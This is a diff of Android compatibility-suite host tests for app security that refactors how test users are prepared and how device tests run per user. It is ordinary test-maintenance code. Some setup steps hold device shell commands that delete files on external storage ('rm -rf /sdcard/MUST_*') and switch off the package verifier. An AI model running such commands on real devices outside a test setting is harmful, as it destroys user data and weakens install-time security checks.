             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, COMMON_CLASS, user);
                 runDeviceTests(WRITE_PKG, WRITE_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -158,7 +154,6 @@
      * directories belonging to other apps, and those apps can read.
      */
     public void testExternalStorageGifts() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -170,13 +165,13 @@
             // We purposefully delay the installation of the reading apps to
             // verify that the daemon correctly invalidates any caches.
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteGiftTest", user);
             }
 
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadGiftTest", user);
                 runDeviceTests(NONE_PKG, ".GiftTest", user);
             }
@@ -184,7 +179,6 @@
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -193,15 +187,14 @@
      * isolated storage.
      */
     public void testMultiUserStorageIsolated() throws Exception {
-        final int[] users = createUsersForTest();
         try {
-            if (users.length == 1) {
+            if (mUsers.length == 1) {
                 Log.d(TAG, "Single user device; skipping isolated storage tests");
                 return;
             }
 
-            final int owner = users[0];
-            final int secondary = users[1];
+            final int owner = mUsers[0];
+            final int secondary = mUsers[1];
 
             // Install our test app
             getDevice().uninstallPackage(MULTIUSER_PKG);
@@ -231,7 +224,6 @@
             runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", secondary);
         } finally {
             getDevice().uninstallPackage(MULTIUSER_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -240,7 +232,6 @@
      * when apps with r/w permission levels move around their files.
      */
     public void testMultiViewMoveConsistency() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -252,37 +243,35 @@
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testFolderSetup", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
             }
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveAway", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testROAccess", user);
             }
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveBack", user);
             }
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
             }
         } finally {
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
     /** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
     public void testExternalStorageReadDefaultUris() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -293,7 +282,7 @@
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 enableWriteSettings(WRITE_PKG, user);
                 runDeviceTests(
                         WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testChangeDefaultUris", user);
@@ -303,13 +292,12 @@
             }
         } finally {
             // Make sure the provider and uris are reset on failure.
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(
                         WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testResetDefaultUris", user);
             }
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -334,14 +322,6 @@
         getDevice().executeShellCommand("rm -rf /sdcard/MUST_*");
     }
 
-    private int[] createUsersForTest() throws DeviceNotAvailableException {
-        return Utils.createUsersForTest(getDevice());
-    }
-
-    private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
-        Utils.removeUsersForTest(getDevice(), users);
-    }
-
     private void runDeviceTests(String packageName, String testClassName, int userId)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index fb5dffa..4609e8a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -19,8 +19,6 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
@@ -73,8 +71,9 @@
         assertNotNull(mAbi);
         assertNotNull(mBuildInfo);
 
-        mSupportsMultiUser =
-                getDevice().getMaxNumberOfUsersSupported() - getDevice().listUsers().size() >= 2;
+        // This test only runs when we have at least 3 users to work with
+        final int[] users = Utils.prepareMultipleUsers(getDevice(), 3);
+        mSupportsMultiUser = (users.length == 3);
         if (mSupportsMultiUser) {
             mPrimaryUserId = getDevice().getPrimaryUserId();
             mFixedUsers = new ArrayList<>();
@@ -83,8 +82,9 @@
                 mFixedUsers.add(USER_SYSTEM);
             }
             getDevice().switchUser(mPrimaryUserId);
-            removeTestUsers();
-            createTestUsers();
+
+            mTestUser[0] = users[1];
+            mTestUser[1] = users[2];
 
             uninstallTestPackages();
             installTestPackages();
@@ -93,7 +93,6 @@
 
     public void tearDown() throws Exception {
         if (mSupportsMultiUser) {
-            removeTestUsers();
             uninstallTestPackages();
         }
         super.tearDown();
@@ -180,19 +179,6 @@
         getDevice().uninstallPackage(USER_PKG);
     }
 
-    private void createTestUsers() throws Exception {
-        mTestUser[0] = getDevice().createUser("TestUser_" + System.currentTimeMillis());
-        mTestUser[1] = getDevice().createUser("TestUser_" + System.currentTimeMillis());
-    }
-
-    private void removeTestUsers() throws Exception {
-        for (int userId : getDevice().listUsers()) {
-            if (!mFixedUsers.contains(userId)) {
-                getDevice().removeUser(userId);
-            }
-        }
-    }
-
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index e5a483c..fd599ea 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -39,6 +39,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
         uninstallPackage(INSTANT_COOKIE_APP_PKG);
         clearUserData(INSTANT_COOKIE_APP_PKG);
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index ed05837..8795fe8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -43,6 +43,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
         getDevice().uninstallPackage(PKG);
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 1f7c6be..3574191 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -236,10 +236,13 @@
     }
 
     @Override
-        protected void setUp() throws Exception {
+    protected void setUp() throws Exception {
         super.setUp();
-        mDevice = getDevice();
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
+
+        mDevice = getDevice();
     }
 
     /**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 115ebf4..fde9f10 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -32,10 +32,13 @@
     private static final boolean MATCH_UNINSTALLED = true;
     private static final boolean MATCH_NORMAL = false;
 
+    private int[] mUsers;
     private String mOldVerifierValue;
 
     public void setUp() throws Exception {
         super.setUp();
+
+        mUsers = Utils.prepareMultipleUsers(getDevice());
         mOldVerifierValue =
                 getDevice().executeShellCommand("settings get global package_verifier_enable");
         getDevice().executeShellCommand("settings put global package_verifier_enable 0");
@@ -54,7 +57,7 @@
             return;
         }
 
-        int userId = createUser();
+        int userId = mUsers[1];
         assertTrue(userId > 0);
         getDevice().startUser(userId);
         installTestAppForUser(TEST_APK, userId);
@@ -67,23 +70,23 @@
         assertTrue(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_UNINSTALLED));
 
         // Try the same from an app
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_inUser", mPrimaryUserId));
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_inUserUninstalled", mPrimaryUserId));
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_inUser", mPrimaryUserId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_inUserUninstalled", mPrimaryUserId);
 
         // It is not visible for the other user using shell commands
         assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
         assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
 
         // Try the same from an app
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId));
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled", userId));
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled", userId);
 
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", userId));
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", userId);
 
         getDevice().uninstallPackage(TINY_PKG);
 
@@ -105,14 +108,14 @@
         assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
         assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
 
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId));
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId);
 
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
                 ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled",
-                mPrimaryUserId));
-        assertTrue(runDeviceTestsAsUser(TEST_PKG,
-                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", mPrimaryUserId));
+                mPrimaryUserId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", mPrimaryUserId);
 
         getDevice().uninstallPackage(TINY_PKG);
         getDevice().uninstallPackage(TEST_PKG);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index b7f7f88..9ba3c82 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -58,6 +58,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mBuildHelper);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 93d683f..e87c390 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,11 @@
 
 package android.appsecurity.cts;
 
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -24,12 +29,6 @@
 import java.io.OutputStream;
 import java.util.Locale;
 
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
 /**
  * Tests for APK signature verification during installation.
  */
@@ -44,10 +43,6 @@
     private static final String[] RSA_KEY_NAMES_2048_AND_LARGER =
             {"2048", "3072", "4096", "8192", "16384"};
 
-
-    /** Device under test. */
-    private ITestDevice mDevice;
-
     private IBuildInfo mCtsBuild;
 
     @Override
@@ -58,7 +53,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mDevice = getDevice();
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
         uninstallPackage();
     }
@@ -582,9 +578,9 @@
                 }
             }
             if (ephemeral) {
-                return mDevice.installPackage(apkFile, true, "--ephemeral");
+                return getDevice().installPackage(apkFile, true, "--ephemeral");
             } else {
-                return mDevice.installPackage(apkFile, true);
+                return getDevice().installPackage(apkFile, true);
             }
         } finally {
             apkFile.delete();
@@ -602,6 +598,6 @@
     }
 
     private String uninstallPackage() throws DeviceNotAvailableException {
-        return mDevice.uninstallPackage(TEST_PKG);
+        return getDevice().uninstallPackage(TEST_PKG);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index ca218ef..630f351 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -63,6 +63,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mBuildHelper);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 21bfca1..9474ba8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -96,6 +96,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index f679e83..4a736b4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,18 +16,22 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests that exercise various storage APIs.
  */
-public class StorageHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StorageHostTest extends CompatibilityHostTestBase {
     private static final String PKG_STATS = "com.android.cts.storagestatsapp";
     private static final String PKG_A = "com.android.cts.storageapp_a";
     private static final String PKG_B = "com.android.cts.storageapp_b";
@@ -37,76 +41,38 @@
     private static final String CLASS_STATS = "com.android.cts.storagestatsapp.StorageStatsTest";
     private static final String CLASS = "com.android.cts.storageapp.StorageTest";
 
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
-
     private int[] mUsers;
 
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
+    @Before
+    public void setUp() throws Exception {
+        mUsers = Utils.prepareMultipleUsers(getDevice());
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mUsers = Utils.createUsersForTest(getDevice());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        getDevice().uninstallPackage(PKG_STATS);
-        getDevice().uninstallPackage(PKG_A);
-        getDevice().uninstallPackage(PKG_B);
-
-        Utils.removeUsersForTest(getDevice(), mUsers);
-        mUsers = null;
-    }
-
-    private void prepareTestApps() throws Exception {
-        getDevice().uninstallPackage(PKG_STATS);
-        getDevice().uninstallPackage(PKG_A);
-        getDevice().uninstallPackage(PKG_B);
-
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_STATS), false));
-        assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_A), false));
-        assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_B), false));
+        installPackage(APK_STATS);
+        installPackage(APK_A);
+        installPackage(APK_B);
 
         for (int user : mUsers) {
             getDevice().executeShellCommand("appops set --user " + user + " " + PKG_STATS
                     + " android:get_usage_stats allow");
         }
+
+        waitForIdle();
     }
 
-    public void testEverything() throws Exception {
-        prepareTestApps(); doVerifyQuota();
-        prepareTestApps(); doVerifyAppStats();
-        prepareTestApps(); doVerifyAppQuota();
-        prepareTestApps(); doVerifyAppAllocate();
-        prepareTestApps(); doVerifySummary();
-        prepareTestApps(); doVerifyStats();
-        prepareTestApps(); doVerifyStatsMultiple();
-        prepareTestApps(); doVerifyStatsExternal();
-        prepareTestApps(); doVerifyStatsExternalConsistent();
-        prepareTestApps(); doVerifyCategory();
-        prepareTestApps(); doCache();
-        prepareTestApps(); doFullDisk();
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG_STATS);
+        getDevice().uninstallPackage(PKG_A);
+        getDevice().uninstallPackage(PKG_B);
     }
 
-    public void doVerifyQuota() throws Exception {
-        runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyQuota", Utils.USER_OWNER);
+    @Test
+    public void testVerifyQuota() throws Exception {
+        Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerifyQuota");
     }
 
-    public void doVerifyAppStats() throws Exception {
+    @Test
+    public void testVerifyAppStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
         }
@@ -120,31 +86,36 @@
         }
     }
 
-    public void doVerifyAppQuota() throws Exception {
+    @Test
+    public void testVerifyAppQuota() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
         }
     }
 
-    public void doVerifyAppAllocate() throws Exception {
+    @Test
+    public void testVerifyAppAllocate() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
         }
     }
 
-    public void doVerifySummary() throws Exception {
+    @Test
+    public void testVerifySummary() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
         }
     }
 
-    public void doVerifyStats() throws Exception {
+    @Test
+    public void testVerifyStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
         }
     }
 
-    public void doVerifyStatsMultiple() throws Exception {
+    @Test
+    public void testVerifyStatsMultiple() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -157,33 +128,35 @@
         }
     }
 
-    public void doVerifyStatsExternal() throws Exception {
+    @Test
+    public void testVerifyStatsExternal() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
         }
     }
 
-    public void doVerifyStatsExternalConsistent() throws Exception {
+    @Test
+    public void testVerifyStatsExternalConsistent() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
         }
     }
 
-    public void doVerifyCategory() throws Exception {
+    @Test
+    public void testVerifyCategory() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
         }
     }
 
-    public void doCache() throws Exception {
+    @Test
+    public void testCache() throws Exception {
         // To make the cache clearing logic easier to verify, ignore any cache
         // and low space reserved space.
         getDevice().executeShellCommand("settings put global sys_storage_threshold_max_bytes 0");
         getDevice().executeShellCommand("settings put global sys_storage_cache_max_bytes 0");
         try {
             for (int user : mUsers) {
-                waitForIdle();
-
                 // Clear all other cached data to give ourselves a clean slate
                 getDevice().executeShellCommand("pm trim-caches 4096G");
                 runDeviceTests(PKG_STATS, CLASS_STATS, "testCacheClearing", user);
@@ -197,9 +170,8 @@
         }
     }
 
-    public void doFullDisk() throws Exception {
-        waitForIdle();
-
+    @Test
+    public void testFullDisk() throws Exception {
         // Clear all other cached and external storage data to give ourselves a
         // clean slate to test against
         getDevice().executeShellCommand("pm trim-caches 4096G");
@@ -209,9 +181,18 @@
         final String lastEvent = getDevice().executeShellCommand("logcat -d -b events -t 1");
         final String sinceTime = lastEvent.trim().substring(0, 18);
 
-        // Try our hardest to fill up the entire disk
-        runDeviceTests(PKG_A, CLASS, "testFullDisk", Utils.USER_OWNER);
-        runDeviceTests(PKG_A, CLASS, "testTweakComponent", Utils.USER_OWNER);
+        try {
+            // Try our hardest to fill up the entire disk
+            Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testFullDisk");
+        } catch (Throwable t) {
+            // If we had trouble filling the disk, don't bother going any
+            // further; we failed because we either don't have quota support, or
+            // because disk was more than 10% full.
+            return;
+        }
+
+        // Tweak something that causes PackageManager to persist data
+        Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testTweakComponent");
 
         // Try poking around a couple of settings apps
         getDevice().executeShellCommand("input keyevent KEY_HOME");
@@ -234,15 +215,15 @@
         troubleLogs = troubleLogs.trim().replaceAll("\\-+ beginning of [a-z]+", "");
 
         if (troubleLogs.length() > 4) {
-            fail("Unexpected crashes while disk full: " + troubleLogs);
+            throw new AssertionFailedError("Unexpected crashes while disk full: " + troubleLogs);
         }
     }
 
     public void waitForIdle() throws Exception {
         // Try getting all pending events flushed out
-        for (int i = 0; i < 5; i++) {
+        for (int i = 0; i < 4; i++) {
             getDevice().executeShellCommand("am wait-for-broadcast-idle");
-            Thread.sleep(1000);
+            Thread.sleep(500);
         }
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index cf8a354..4afeb9bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -51,6 +51,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mBuildHelper);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 37aaeaf..8e83c87 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import com.android.ddmlib.Log;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -26,16 +25,15 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.result.CollectingTestListener;
 
+import java.util.Arrays;
 import java.util.Map;
 
 public class Utils {
-    private static final String TAG = "AppSecurity";
-
-    public static final int USER_OWNER = 0;
+    public static final int USER_SYSTEM = 0;
 
     public static void runDeviceTests(ITestDevice device, String packageName)
             throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, null, null, USER_OWNER);
+        runDeviceTests(device, packageName, null, null, USER_SYSTEM);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, int userId)
@@ -45,7 +43,7 @@
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
             throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, null, USER_OWNER);
+        runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
@@ -55,7 +53,7 @@
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, USER_OWNER);
+        runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
@@ -72,13 +70,8 @@
             testRunner.setClassName(testClassName);
         }
 
-        if (userId != USER_OWNER) {
-            // TODO: move this to RemoteAndroidTestRunner once it supports users
-            testRunner.addInstrumentationArg("hack_key", "hack_value --user " + userId);
-        }
-
         final CollectingTestListener listener = new CollectingTestListener();
-        device.runInstrumentationTests(testRunner, listener);
+        device.runInstrumentationTestsAsUser(testRunner, userId, listener);
 
         final TestRunResult result = listener.getCurrentRunResults();
         if (result.isRunFailure()) {
@@ -103,65 +96,55 @@
         }
     }
 
-    private static boolean isMultiUserSupportedOnDevice(ITestDevice device)
+    /**
+     * Prepare and return a single user relevant for testing.
+     */
+    public static int[] prepareSingleUser(ITestDevice device)
             throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String output = device.executeShellCommand("pm get-max-users");
-        try {
-            return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim()) > 1;
-        } catch (NumberFormatException e) {
-            throw new AssertionError("Failed to parse result: " + output);
-        }
+        return prepareMultipleUsers(device, 1);
     }
 
     /**
-     * Return set of users that test should be run for, creating a secondary
-     * user if the device supports it. Always call
-     * {@link #removeUsersForTest(ITestDevice, int[])} when finished.
+     * Prepare and return two users relevant for testing.
      */
-    public static int[] createUsersForTest(ITestDevice device) throws DeviceNotAvailableException {
-        if (isMultiUserSupportedOnDevice(device)) {
-            return new int[] { USER_OWNER, createUserOnDevice(device) };
-        } else {
-            Log.d(TAG, "Single user device; skipping isolated storage tests");
-            return new int[] { USER_OWNER };
-        }
+    public static int[] prepareMultipleUsers(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return prepareMultipleUsers(device, 2);
     }
 
-    public static void removeUsersForTest(ITestDevice device, int[] users)
+    /**
+     * Prepare and return multiple users relevant for testing.
+     */
+    public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
             throws DeviceNotAvailableException {
-        for (int user : users) {
-            if (user != USER_OWNER) {
